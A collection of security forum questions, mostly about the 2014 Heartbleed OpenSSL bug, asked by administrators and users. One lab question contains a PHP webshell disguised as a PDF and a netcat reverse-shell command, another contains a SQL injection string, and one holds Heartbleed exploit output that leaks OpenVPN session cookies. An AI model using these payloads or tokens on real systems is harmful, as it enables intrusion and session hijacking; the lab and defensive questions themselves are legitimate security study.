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Is there a way to determine as an end-user which HTTPS sites use OpenSSL? Due to heartbleed it is recommended that clients change their passwords that were sent over TLS recently as private keys may have been compromised so eavesdropping and MitM attacks were possible. However, I haven't seen any notices from any HTTPS sites saying, yes we used OpenSSL, please change your password. Is there anyone compiling a list of big sites? Preferably including ones that are already patched, but use OpenSSL and quite possibly were vulnerable? Yes, I've seen that there are HeartBleed checker tools, except these tools seem incomplete -- they only can tell if the site is currently vulnerable. If a site is currently vulnerable, its quite possible that someone could MitM your traffic to said site with a copy of their private key (but on the MitM not be vulnerable to Heartbleed).
Are Apache Tomcat servers using Tomcat Native & APR vulnerable to the HeartBleed OpenSSL bug, or does this layer insulate them? http://tomcat.apache.org/native-doc/ HeartBleed OpenSSL bug information: http://heartbleed.com/ On my Apache Tomcat server, I have: A vulnerable version of OpenSSL Built and installed APR Built and installed Tomcat Native using --with-apr and --with-ssl Tomcat is handling requests directly. A Connector on port 443 is configured with attributes SSLEnabled, SSLProtocol, SSLCipherSuite, SSLCertificateFile, SSLCertificateKeyFile, SSLCertificateChainFile SSLProtocol="-ALL +SSLv3 +TLSv1" SSLCipherSuite="ALL:!aNULL:!eNULL:!ADH:RC4+RSA:+HIGH:+MEDIUM:!LOW:!SSLv2:!EXPORT" Questions: Do versions of Tomcat, APR, or Tomcat Native have any affect on vulnerability? Do SSLProtocol or SSLCipherSuite values affect vulnerability?
I am writing an application that serialises objects and then saves the resultant XML in an encrypted file. I am using an Initialisation Vector and a Salt both saved in the file for decryption so two files will not be the same even though they may contain the same data. Is the fact that I will have a recognisable patterns of characters like "<" and "/>" and the header being present within the encrypted output represent a security risk or make it easier to crack the encryption ? The option I have is to save the values I need to save in a format I understand which will have no patterns other than the data itself but not sure if this is of any benefit.
TACK is an IETF draft that allows certificate pinning for a TLS web server, provided the clients' browsers support it. Unlike the certificate pinning feature available with HSTS preloading, the server's operator is not committing to a particular certificate in the chain (and hence typically to a particular root or intermediary CA), instead retaining his own (offline) key that can be used to authorize the use of a new server TLS certificate. Which browsers support TACK? Are there extensions to add support to browsers that do not otherwise support it?
There are websites which display user information, such as browser version and operating system This website goes even further, and displays some additional information, such as desktop resolution, and also any secondary network interfaces. In my case, it detected my eth1 network interface 192.168.0.6 I have noticed that this information is only available when javascript is enabled. I am wondering therefore, what else is accessible through javascript. In particular, if javascript can access files in users home.
Sorry if it is very open ended. All the news about the Heartbleed exploit has been flooding Google, and I can't figure out what it does. Is it fine to recompile?
Recently I received a new debit card which has both a magnetic stripe and a chip (as did my previous card). I know the magnetic stripe can be easily copied whereas the chip system hasn't been compromised (yet?). I suppose the stripe is still there for legacy purposes, even though in the last years I've not seen nor heard of a terminal or ATM that didn't accept chip payment. As far as I am concerned, that's like buying a new fancy lock for your front door while leaving the back door unlocked. Is that analogy right, i.e. is a card with a stripe AND chip no more secure than a card with just a stripe? And if so, why would my bank allow such a security risk? Why not get rid of the stripe altogether? Ps: If it matters, I live in the Netherlands. EDIT: For clarity, I'm mostly concerned about the following scenario: A thief skims an ATM (probably (?) chip payment), but can still get the stripe because the card goes into the ATM. Suppose he reads my PIN too. He then fabricates a new card and empties my bank account.
I've recently noticed that most of my activity with Google and its services goes through a local Google Global Cache server set up by our ISP. Since I don't fully trust the ISP, this has become a big concern for me. Is it possible for the provider to read the encrypted requests that pass through GGC, thus getting access to my mail, documents, search queries and perhaps even password?
IIUC the Heartbleed vulnerability happens due to a bug in the C source code of OpenSSL, by performing a memcpy() from a buffer that is too short. I'm wondering if the bug would have been prevented automatically in other languages that have higher-level memory management systems than C or C++. In particular, my understanding is that Go, D and Vala each compile to native code, don't need a VM to run, and should allow writing native libraries which provide a C-compatible binary interface. So, could these languages be used to implement the OpenSSL library with the same interface, and would they offer protection against bugs like the Heartbleed vulnerability?
I was thinking that maybe the banners can give some insight as to whether a server is using OpenSSL. Is there any tell tale signs that a server is using OpenSSL? -- Clarification: Speaking in terms external; as in, if I went probing around the web or Shodan, is there a way to identify servers that use OpenSSL? To those who are wary, I'm just asking because I have to check if my servers are vulnerable; -- Possible Method: I found this on http://www.hacklabs.com/team-penetration-testing/2014/4/8/testing-for-the-tls-heartbleed-vulnerability.html: $ openssl s_client -connect server.com:443 -tlsextdebug | grep “server extension” Is this a method to identify if server.com uses openssl?
I have a fair number of security concerns with a client's operation and it made me think about all the security concerns I've observed and noticed throughout the years with different clients/jobs. Raising concerns with management was met with "too much time/money/resource" unless the security issue in question was exploited and, in those cases, was met with "why didn't you fix that!?". Over time employees/contractors end up not mentioning security issues due to the responses from management and these security concerns are left behind. Of course this doesn't happen everywhere but certainly the majority. The flip side to this is management/decision makers who are paranoid about security and spend millions on worthless stuff because it says "secure" on the box/in the name. My question therefore is this- is it ethically correct to ignore a security issue because a boss/ client has told you not to fix it due of time/money concerns? Is it ethically correct TO fix it after an express order not to fix it. Part of the biggest problems I've experienced in spotting security issues isn't always the response but more the time taken during the decision making process. During that time we could be leaking a lot of data or even worse - a lot of user data that's almost always sensitive. Sort of a side note but how on earth can we train staff, decision makers and users (yes there's a difference!) that these issues exist and should be fixed but without them jumping too far in the deep end. Edit Just to clarify - this isn't about going against management decisions or not realising you're creating a bigger security issue than what was previously there. I'm talking about a definite security flaw that you've spotted, can fix and don't have client authorisation.
Are there any known instances of malicious security breeches exploiting the Heartbleed vulnerability? Or is there at present only a known vulnerability, albeit a very serious one?
pretty much the title, how to know if the Heartbleed vulnerability (for OpenSSL) affects other libraries like .NET's SSLStream or BouncyCastle. (Sorry for ignorance, but have found no info on how to exploit, to see if is related to bufferoverruns and other things that shouldn't happen in Java/.NET).
I know that the vulnerability exploits the Heartbeat response which is a TLS feature. Now, when testing some of my important sites, there was some wording that scared me, namely: TLS extension 15 (heartbeat) seems disabled, so your server is probably unaffected. Does that means that there's another possible vulnerability related to Heartbeat, or the wording is like that just to leave the possibility of other vulnerabilities and don't make me feel safe?
Today my friend got email for the latest vulnerablility heartbleed. But i could not find where i can subscribe so that i can also get emails about latest vulnerabilities Can anyone please help me where should i need to subscribe and which things i need to subscribe for.
I've read lots of reports of the HeartBleed bug but have not been able to find a description at the source-code level, such as this one for the goto fail bug. Can anyone provide, or point to, such an explanation?
I built an application that generates certificate signing requests (CSRs) using the PHP OpenSSL module. Is there a way that the HeartBleed bug can affect these (in use) private keys and CSRs that were generated while OpenSSL 1.0.1e was installed on the generating webserver?
If one has logged into a "heartbleed-vulnerable" site using OpenID, for example, using Google to log into StackExchange, does that mean that the Google password is now at risk as well?
I have read this post askbuntu, the step to fix the heartbleed vulnerability almost: upgrade openssl. generate new keys. revoke the old certificates. Some posts say attackers may have got your server's private keys. If there's the possibility attackers can use your old certificates and private keys do MITM attack? I'm not clear about web browser's certificates verification. Maybe someone can give a more clear explanation. this post Understanding Certificate Revocation Checks, it seems some web browsers default do not do server certificate revocation.
Hope someone can clarify. As I understand, in a DNS DDos Amplification attacks Multiple DNS queries are sent to a vulnerable name server with the source IP spoofed to that of the target server. The name server returns the response (with source port UDP 53) to the target server. To the target server, the name server has originated a connection with source port UDP 53 For the target server firewall, does it make sense to block all originating traffic with source port 53? In fact, can we block any incoming traffic that has source port below 1024?
In light of the Open SSL Heartbleed bug, I'd like to make sure I'm not putting any personal information in any system that is using Open SSL that is vulnerable. So, from my browser (IE 11) how can I tell if 1. a website is using Open SSL, and 2. if so, what version of Open SSL? I know I can view the security certificates by clicking on the little lock in the address bar, but from what I see, there's nothing that says Open SSL, nor the version. Thanks.
Background I am using Linux Mint for one of my servers and have been trying to find out if the Linux Mint Debian Edition(LMDE) has updated their repositories with patches for the OpenSSL bug. I have a different pure Debian server and Debian was quick to remedy the problem. However, after running an update on my LMDE system the the OpenSSL package version was the same as the compromised versions. Question Is there a LMDE patch for the OpenSSL libraries?
I have been asked to research on a certain database then write down a specification document which covers Authentication, Authorization and Encryption. Has anyone ever come across such a documentation? I need to know if there is an example I can borrow from.
This is my page and class to encrypt the string entered and saved in database. Each time, the Key__c is the same, as I take it from custom settings. But when I enter abc and save two times, the entered value is different. What is the reason? <apex:page controller="encryptNewController"> <apex:form > <apex:outPutLabel value="Encrypted by Code"/> <apex:inputsecret value="{!encryptedByCode}"/> <apex:commandButton value="Save" action="{!saveValues}"/> <apex:outputText value="{!decryptedDataString}"/> </apex:form> </apex:page> public with sharing class encryptNewController { Public Encrypt_Object__c encryptObject {get;set;} Public String encryptedByCode {get;set;} Public String decryptedDataString {get;set;} Blob cryptoKey; public encryptNewController(){ encryptObject=new Encrypt_Object__c(); } public void saveValues(){ List<CryptoKey__c> keyValue = [SELECT Key__c FROM CryptoKey__c where id != null]; String cryptoKeyString; System.debug('000000000000000000000000000000000000000000keyValue'+keyValue); if(keyValue.size() > 0){ cryptoKeyString = keyValue[0].Key__c; cryptoKey = EncodingUtil.base64Decode(cryptoKeyString); System.debug('000000000000000000000000000000000000000000cryptoKey'+cryptoKey); } encryptObject.Encrypted_by_Code__c = encryptToken(encryptedByCode); insert encryptObject; Encrypt_Object__c insertedencryptObject = [Select id,Encrypted_by_Code__c from Encrypt_Object__c where id=: encryptObject.id][0]; decryptedDataString =decryptToken(insertedencryptObject.Encrypted_by_Code__c); } public String encryptToken(String strOriginal){ Blob encryptedData; if(cryptoKey != null){ String strUrlUTF8 = EncodingUtil.urlEncode(strOriginal, 'UTF-8'); Blob b = Blob.valueOf(strUrlUTF8); System.debug('@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@cryptoKey'+cryptoKey); encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, b); return EncodingUtil.base64Encode(encryptedData); }else{ return null; } } public String decryptToken(String encryptedString){ if(cryptoKey != null){ Blob b = EncodingUtil.base64Decode(encryptedString); Blob decryptedData = Crypto.decryptWithManagedIV('AES256', cryptoKey, b); String strUrlUTF8 = decryptedData.toString(); return EncodingUtil.urlDecode(strUrlUTF8, 'UTF-8'); }else{ return null; } } } ================================================ Doesn't the same string encrypted with the same key generate the same encrypted value?
I see lot of OAUTH provider give us a secure key. What is the purpose of secure key in Facebook(and other provider) in OAUTH?
I am doing an exercise of PentesterLab, I've got a webshell called 1.pdf, and it can be included in index.php as a PHP file. It contains code like this: %PDF-1.4 <?php echo system($_GET["cmd"]); ?> Now I want to create a reverse shell using nc with following commands, but it does not work properly: index.php?page=uploads/1.pdf%00&cmd=/bin/nc 192.168.117.128 8001 -e /bin/bash If I input commands at 192.168.117.128 then enter, nothing was output. While, if I run the following commands directly in the VM(the target server), it connects to the attacker properly: /bin/nc 192.168.117.128 8001 -e /bin/bash Output of commands are properly echoed at 192.168.117.128 I wonder why netcat works in VM properly but does not work in webshell? Anyone's help is appreciated, thanks.
I run a server whose only public open port is 80, serving non-encrypted data over HTTP, not HTTPS. Is it affected by Heartbleed?
If one is using MongoDB enterprise, or built MongoDB from source using the -ssl option (as described here), is that MongoDB vulnerable to the heartbleed bug? I know mongo needed openssl-devel to be installed on the machine for the build to work. But is it now using that vulnerable openssl version internally and now mongoDB needs to be entirely rebuilt or updated? Or if you update openssl on the server that is sufficient?
See here: https://www.cacert.org/index.php?id=1 Chrome, Firefox and Internet Explorer warn that it is not trusted, essentially making the entire thing useless. If I want some kind of ssl certificate, I can just as well create my own with makecert.exe, the effect would be the same, wouldn't it: every browser would warn with huge red letters that it's not valid. What am I not getting about this system?
Here's a short question: does a hash function with configurable length exist? And if not, why not? Would it be a problem?
The heartbeat extension to the TLS protocol seems like a useful idea for DTLS; according to the specification itself, it can be used to find out if a peer is still alive (and prevent firewalls from dropping the connection) without a renegotiation and for path MTU discovery. However, I don't understand the motivation for specifying and implementing it for regular, TCP-based TLS. Wouldn't sending empty application data fragments essentially solve the problem of stateful firewalls dropping idle connections as well? The RFC for TLS explicitly allows that behavior: Zero-length fragments of Application data MAY be sent as they are potentially useful as a traffic analysis countermeasure.
I have to admit that I'm confused as to which services exactly are affected by Heartbleed. I have read http://heartbleed.com but all I read is that OpenSSL is affected. Great, but I don't really know where OpenSSL is used. So concretely, are these services affected: HTTPS (OK this one I think I know the answer) SSH HTTP others? If I have a server which doesn't provide HTTPS (only HTTP), does that mean the server can't be affected by the bug?
Questions about Heartbleed have been showing up in the popular questions list today since morning, from the security stack exchange to android I have been reading many of them, most of them are technical and from a server administrators perspective so difficult to understand for the average user These are a few simple ones that I have found https://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it How exactly does the OpenSSL TLS heartbeat (Heartbleed) exploit work? What should end-users do about Heartbleed? Does the heartbleed vulnerability affect clients as severely? I do not understand the technical details, so as an average windows user, how paranoid should I be, and is there anything that I should (or can) do, if a service that I use is vulnerable? For example, the accepted answer for item 4 above says this about vulnerable systems: Information on common clients: Windows (all versions): Probably unaffected (uses SChannel/SSPI), but attention should be paid to the TLS implementations in individual applications. For example, Cygwin users should update their OpenSSL packages. OSX and iOS (all versions): Probably unaffected. SANS implies it may be vulnerable by saying "OS X Mavericks has NO PATCH available", but others note that OSX 10.9 ships with OpenSSL 0.9.8y, which is not affected. Apple says: "OpenSSL libraries in OS X are deprecated, and OpenSSL has never been provided as part of iOS" Chrome (all platforms except Android): Probably unaffected (uses NSS) Chrome on Android: 4.1.1 may be affected (uses OpenSSL). Source. 4.1.2 should be unaffected, as it is compiled with heartbeats disabled. Source. Mozilla products (e.g. Firefox, Thunderbird, SeaMonkey, Fennec): Probably unaffected, all use NSS So if I am an average Windows user with chrome as default browser, I am not vulnerable? I don't think that's true so I am probably not getting something here. This page says that Yahoo is the biggest web service provider that is known to be vulnerable (also includes stackexchange). So if I have a Yahoo email or stackexchange account, does this mean my password is vulnerable from my computer's side when I type it in? In the answer that I quoted above, it says Windows and Chrome are probably unaffected as they don't use openssl. So how does this make me vulnerable when using Yahoo and stackexchange that apparently do use openssl? Is there anything I can do about it, and if so, what can I do? Change my password immediately, or wait for them to contact me, and change password after that? I have another question. The accepted answer for item 1 has this to say: Well, errant code in OpenSSL. Here is the commit that fixed the vulnerability. I won't speculate on whether this was truly a mistake or possibly a bit of code slipped in on behalf of a bad actor. The bug showed up in December of 2011 and was patched today, April 7th, 2014. If the bug is that old, and it really is this serious, then why wasn't anything done till now?
I want to know whether my various providers changed their certificate because of Heartbleed, or they are using an old vulnerable certificate. How can I know that? Is the "valid from" date also the creation date?
Somewhere on this site I read that I should connect to websites by entering the URL myself or using a bookmark when security is critical. I started wondering why that didn't include browsing history. Of course it is true that my browsing history might have some mistyped URLs in it, whether entered by me or by people I trust enough to let them use my browser without my supervision. And my favorites/bookmarks are less likely to include such. But supposing I'm confident no one besides me has touched my computer ever and that I'm confident I have no dangerous typos in my history, are there any reasons to think my browsing history is a less secure URL storage than my bookmarks? Does it depend on the browser I use? The browser's version?
$query = " $sql = select * from users where id = '$id' " Won't $id=3' OR '1'='1 break the query ? The doubt arose because someone claimed it can't be broken.
microsoft.com for example can use a Verisign Certificate for their domain. What are the chances that an attacker could ask verisign for a m1crosoft.com domain and get approved? It is very simillar, but still can be used by attackers to run a "secured phishing website". Do trusted CA's do some research on a client that asks for a new certificate to be issued? Is there a standard or an application model? Do i need to assume and not trust secure websites in reality if not?
Regarding the priority to upgrade servers, I want to confirm this, as I read in https://www.rfc-editor.org/rfc/rfc6520 chapter 3: However, a HeartbeatRequest message SHOULD NOT be sent during handshakes. If a handshake is initiated while a HeartbeatRequest is still in flight, the sending peer MUST stop the DTLS retransmission timer for it. The receiving peer SHOULD discard the message silently, if it arrives during the handshake. In case of DTLS, HeartbeatRequest messages from older epochs SHOULD be discarded. Am I correct to think that, if a server only accepts SSL connections from known clients, no one else can exploit the bug during the handshake? My understanding is that the message should be dropped and that the server does not answer.
I have read about recent vulnerability in openssl. I tried to exploit one of my cloud servers where I run my web sites. I managed to get 64 KB of data. But what I managed to get was only HTML, CSS, PHP codes. But here states: We have tested some of our own services from attacker's perspective. We attacked ourselves from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, user names and passwords, instant messages, emails and business critical documents and communication. I have some questions: 1.What was the server configuration of testers? 2.What other sensitive data can be retrieved with this vulnerability? 3.What sensitive data is stored in RAM of Apache Web Server?
I'm working on upgrading an old Windows RAS server that hosts PPTP VPN. I want to move to a L2TP/IPsec VPN. Due to the firewall appliance we use, the VPN server has to be behind a NAT. This means in order for L2TP/IPsec to work, I need to enable/configure NAT-T on the client and server. However, NAT-T functionality is disabled in Windows versions following XP SP2. This is apparently due to security concerns from Microsoft. It seems to indicate traffic sent using NAT-T can end up being sent to an incorrect destination. IPSec NAT-T is not recommended for Windows Server 2003 computers that are behind network address translators There is some further discussion of the security impact here, with no real conclusion on benefit vs. risk. NAT Traversal (NAT-T) Security Issues My questions: Is using L2TP/IPsec VPN over NAT-T actually insecure, or is this only a theoretical risk? Is there any reason to NOT use L2TP/IPsec+NAT-T as a replacement for a PPTP VPN?
On several pages, it is re-iterated that attackers can obtain up to 64K memory from the server or client that use an OpenSSL implementation vulnerable to Heartbleed (CVE-2014-0160). There are dozens of tools that reveal the bug in server applications. So far I have not seen a single tool that exploits the bug in client applications. Is it that hard to exploit the bug at clients? Are clients actually vulnerable or not?
This may be a stupid question, but I'll ask anyway. I have been reading quite a bit about the Heart Bleed vulnerability, and I'm curious as to whether it only affects web applications or whether OVPN connections secured with certs produced with OpenSSL would potentially be affected. I have attempted to scan an OVPN Server I know to be secured with OpenSSL certificates at the website http://filippo.io/Heartbleed/, however I get an error in regards to StartTLS. I don't have the ability to execute the Python script where I am, but I'm wondering if this connection could be vulnerable to this attack.
I'm not entirely sure if this is on-topic for Security.SE, but it doesn't seem entirely off-topic either, so I'll try. :) I keep a couple of (GPG-)encrypted files with more-or-less sensitive information; particularly passwords for various web services. While they are mostly used read-only, I sometimes need to edit them to change or add information, and I worry about how I leak the contents of them when doing so, and what can be done about it. In particular, what I do is: 1) decrypt the file, 2) edit it with vi -n (I'm using Linux), 3) encrypt the file again and 4) clear the decrypted file with the shred utility. I know, however, that this leaves at least the following venues for the contents to leak: Since vi's memory is swappable, it may have leaked to the swap partition. I guess this is unlikely due to me having lots of RAM and the editing sessions being brief, but it's clearly a possibility. The same can be said for the terminal emulator I'm running vi in, obviously. Worst of all, however, is that vi uses the terminal's "alternate screen", which isn't cleared when vi exits. Is there anything that can be done about these, and are there any others that I've missed. I guess there should be some easy way to clear the alternate screen after I've exited vi, but I haven't found one yet (neither clear nor reset do). The problems about vi and xterm being swappable, however, seem generally harder to fix. Can anything be said about general guidelines when editing files with secure contents?
Edit: Please follow the above link to the original. I have a self-signed certificate which is use to sign other certificates that I issued. This is all done with an affected version of OpenSSL. These certificates are installed on Windows servers for encryption of https traffic. OpenSSL is NOT installed on the servers. From what I understood, heartbleed only affects servers which directly use OpenSSL to encrypt the traffic. Is this correct or am I still vulnerable?
When I visited Google and Facebook, and then clicked on the Perspectives add-on button to check the certificate information, I saw this:     What does this mean? Shouldn't it have more "graph" lines? Why just two? Is this secure? Do I have to worry about this?
I'm working on an authentication system for a web based Bitcoin-related service. As part of the service, users do some less sensitive operations (mostly reading and sending various types of information) and some highly sensitive operations (controlling Bitcoin funds by signing transactions). I'm looking to create an authentication system that: Is based on ECDSA and digital signatures Allows easy access to the less sensitive operations, by permanently storing the key in local storage Requires additional information for highly sensitive operations, which is harder for an attacker to obtain Here's what I'm currently planning to do: Account creation process The user sign up with two passwords - A1 password and A2 password A1 password is generated as 12 random words (132 bits) A2 password is generated as 4 random words (44 bits) The user is required to write down (but not remember) the A1 password, and remember the A2 password (and possibly write down until he remembers it, at which point he should destroy the written copy) The A1 password is used to create the A1 private key using A1_key = Scrypt(A1_password, salt=GLOBAL_SALT||email, N=20, r=8, p=1) The A1 key and A2 password are used to create the A2 private key using A2_key = Scrypt(A2_password, salt=H(A1_key), N=10, r=8, p=1) The public keys for both A1 and A2 are saved on the server. Login The user logs-in using his A1 password, which is used to re-create his public key. The browser remembers the A1 key in local storage, so the user is not required to re-enter it, unless he logs in from a new machines or clears his local storage The A1 key allows authorizing the less sensitive actions Sensitive actions Do do sensitive actions, the user is requested to enter his A2 password The A2 password is used to derive the A2 key and digitally sign the operation The A2 key is scrubbed from memory immediately after being used, and is never remembered by the browser With that system in place, both the A1 and A2 passwords are needed for the highly sensitive operations. An attacker that gains access to the user's machine would only have access to the A1 key - gaining access to A2 requires an active attack while the A2 password is provided. My questions How do you feel about the security properties of such system? Do you see any downsides or vulnerabilities that I'm missing? Do you think that the hassle of requiring users to handle two passwords is worth it? Do you see any ways to improve upon my suggested schema?
Today's xkcd has characters discussing heartbleed: Megan: I mean, this bug isn't just broken encryption. Megan: It lets website visitors make a server dispense random memory contents. Megan: It's not just keys. It's traffic data. Emails. Passwords. Erotic fanfiction. Cueball: Is everything compromised? Megan: Well, the attack is limited to data stored in computer memory. Cueball: So paper is safe. And clay tablets. Megan: Our imaginations, too. This seems to imply that the heartbleed attack server compromises all of the computer's memory, not just that assigned to the webserver's processes and this is bad for reasons other than obtaining the private key at which point network eavesdropping and MitM attacks are possible. Is this true?
Users have been advised to consult a list of sites affected by heartbleed and to change their passwords on those sites once they are no longer vulnerable. Facebook appears to have been unaffected; but many affected sites use Facebook logins. What should users do about affected sites where they use Facebook to log in?
For a passphrase that is UTF8 encoded and then SHA256'd, what is the minimum length to achieve a practically collision free result? The implementation is for a 32 byte cryptocurrency ed25519 seed thus will not be stored anywhere by the implementation.
One of the services I use is saying they were unaffected by heartbleed. But when I check their site with the tool at http://possible.lv/tools/hb/, this is what it says: Looking for TLS extensions on https://xxxxxxxxxx ext 65281 (renegotiation info, length=1) TLS extension 15 (heartbeat) seems disabled, so your server is probably unaffected. I was under the impression that heartbeat was previously considered benign, and people have only been disabling it in the past couple of days if they didn't want to upgrade OpenSSL. Is there any reason a server might have had it disabled all along? Alternately, is it possible that the tool could be returning this response if they're using different SSL software that never had heartbeat available? Is there a way I can get more complete information on this?
I read a lot about IP spoofing but I am not sure how easy it is really to do. Let's say I am in Spain, can I somehow connect to a server in the US with an IP address that is allocated to Mexico? Won't the routers simply refuse to forward my traffic? I know you won't get any response as it would be routed to Mexico but I am confused how you can contact the US server at all with the wrong IP.
Should I change all of my online passwords due to the heartbleed bug? Edit: I found a list of vulnerable sites on GitHub and checked all my critical sites. Everything I was really concerned with was not vulnerable according to the list.
I hope this is the right stackexchange - if not, please advise. As to the actual question: have a system we've developed that makes heavy use of asymmetric cryptography in various different ways (RSA, client certificate authentication, and digital signatures), and in our recommended configuration uses 8 certificates - 4 SSL certificates, 1 signing certificate (for SAML), two client authentication certificates, and an RSA certificate (for protecting symmetric keys.) In our development and test environment, we've used self-signed certs generated with the makecert.exe utility, but that's not at all suitable for production. What we'd like to know is: can you acquire and/or buy those sorts of certificates from a certificate authority? Will any old certificate do? So far, we've only found SSL certificates for sale and talking to support at various vendors has been..less than helpful. We're also considering setting up a CA on site (with Active Directory Certificate Service) to cut down on the number of certificates that have to be purchased, which leads into the same vein: can you purchase/obtain a certificate suitable for use as the root for a local CA from an upstream CA? Is it basically an SSL certificate?
From what I gather you need local memory based access correct to even access the private key? Is all this talk and worry of "Was I hacked?!" "Heartbleed just made you full hackable" ect... really over exaggerating the issue? For example I run some pretty big websites using SSL Certs for HTTPS. Am I really remotely exploitable to where everyone can see plain text passing?
SSL supports a number of ciphers, but is it possible to stack/nest the ciphers, and process the plaintext in stages? My adversary may be able to easily crack one or more of the stages, but to decode my message, they need to crack them all if I can use multiple ciphers. For example: ciphertext = Encrypt(plaintext, key, alg=[1,2] ) = Encrypt1(Encrypt2(plaintext,key2),key1) If I want to establish a connection protected by Blowfish, elliptic curve, a weak substitution cipher of my own making, and 3 rounds of 3DES with different keys, can SSL do this? Since all of the ciphers may have unknown weaknesses, using all of a wide selection of possibly secure ciphers will require my advanced persistent threat to be proficient in all of them. If just one of the ciphers holds up, my message remains secure (provided the ciphers do not share key information). I wish to transmit an enigma, wrapped up in a mystery, etc.
So I'm getting conflicting information from members of my team. The premise is, if an attacker can keep requesting 64 kb chunks of memory from my server, they could get the entire memory footprint of my server, and thus get the private key I used out of memory. So, is the private SSH key I used to log in stored in memory? Do I have to worry about my SSH keys?
It is public that Amazon's Elastic Load Balancers (ELBs) were vulnerable to the heartbleed exploit before they patched them all on April 8th. I understand that the memory of these ELBs (and therefore the certificates on them) could be compromised, but I'm curious if there was any risk of memory exposure of the EC2 instances behind these ELBs (given that the EC2 instances were not themselves vulnerable, nor accessible from external IP addresses).
As part of the Heartbleed event, I have upgraded OpenSSL, reissued and replaced certificates and revoked the old ones and changed passwords however, I am also seeing advice to invalidate all session cookies (https://security.stackexchange.com/a/55089/18057) but I cannot find out how to do this. Does this just apply to PHP sessions, for example, or is it more than this? What do I need to do to ensure all session keys and cookies are invalidated? Thanks
I have looked everywhere and I can't seem to find a netsh equivalent of the u32 module for iptables. I want to create a rule to Drop a packet that starts with a specific set of bytes. Similar to: # Block rules iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \ "52=0x18030000:0x1803FFFF" -j DROP Is this possible with netsh ?
Would designing a crawling bot to detect and inform vulnerable website owners be legal?
I was talking with a friend about HeartBleed, and he mentioned that he had 2-factor authentication enabled on all the sites that supported it, so even with his username and passwords, nobody would be able to login without his phone too. I told him to change his passwords anyway. But I'm interested to know; was he right about 2-factor authentication protecting him from the worst of it? Thanks! evamvid
According to the OpenSSL project the version in use on a server we control is not vulnerable: 0.9.8o. According to OpenVPN v 2.1.3 is also not vulnerable (also in use). These are running on Debian Squeeze (6) and are repo packages. However, when using two web based tools and the Python PoC code, this site reports as vulnerable on all three. Are these tools (SSLLabs, filippo.io/Heartbleed, and the python PoC) to be trusted? Can someone give me an idea of their reliability and possibility for false positive? I use SSLLabs often for different purposes and it is historically quite reliable. Output from the Python PoC: ptdeb ~/scripts/heartbleed # ./heartbleed.py REDACTED-DOMAIN.com Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 86 ... received message: type = 22, ver = 0302, length = 1040 ... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... ... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r... 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9....... 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....". 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5. 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................ 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2. 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../... 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A............... 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................ 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................ 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................ 00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 57 36 34 29 ....#.......W64) 00e0: 20 41 70 70 6C 65 57 65 62 4B 69 74 2F 35 33 37 AppleWebKit/537 00f0: 2E 33 36 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 .36 (KHTML, like 0100: 20 47 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 33 Gecko) Chrome/3 0110: 33 2E 30 2E 31 37 35 30 2E 31 35 34 20 53 61 66 3.0.1750.154 Saf 0120: 61 72 69 2F 35 33 37 2E 33 36 0D 0A 52 65 66 65 ari/537.36..Refe 0130: 72 65 72 3A 20 68 74 74 70 73 3A 2F 2F 35 34 2E rer: https://x. 0140: x.x.x/admi 0150: 6E 2F 75 73 65 72 5F 70 65 72 6D 69 73 73 69 6F n/user_permissio 0160: 6E 73 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 ns..Accept-Encod 0170: 69 6E 67 3A 20 67 7A 69 70 2C 64 65 66 6C 61 74 ing: gzip,deflat 0180: 65 2C 73 64 63 68 0D 0A 41 63 63 65 70 74 2D 4C e,sdch..Accept-L 0190: 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 2C 65 anguage: en-US,e 01a0: 6E 3B 71 3D 30 2E 38 0D 0A 43 6F 6F 6B 69 65 3A n;q=0.8..Cookie: 01b0: 20 6F 70 65 6E 76 70 6E 5F 73 65 73 73 5F 36 30 openvpn_sess_60 01c0: 39 36 32 63 39 32 66 61 63 35 35 36 34 39 61 33 962c92fac55649a3 01d0: 62 36 32 32 39 35 65 61 63 66 32 64 63 35 3D 62 b62295eacf2dc5=b 01e0: 38 65 66 39 33 65 66 65 62 39 38 32 63 31 35 34 8ef93efeb982c154 01f0: 65 30 33 36 30 65 37 65 35 66 30 32 66 38 30 3B e0360e7e5f02f80; 0200: 20 6F 70 65 6E 76 70 6E 5F 73 65 73 73 5F 38 36 openvpn_sess_86 0210: 65 38 33 34 64 37 30 38 34 38 35 34 30 34 62 39 e834d708485404b9 0220: 31 64 32 66 61 38 39 31 64 36 31 30 38 38 3D 35 1d2fa891d61088=5 0230: 61 30 66 33 38 61 30 65 32 39 62 61 66 35 66 31 a0f38a0e29baf5f1 0240: 36 32 33 39 30 35 33 31 36 34 61 66 38 33 38 3B 6239053164af838; 0250: 20 6F 70 65 6E 76 70 6E 5F 73 65 73 73 5F 30 38 openvpn_sess_08 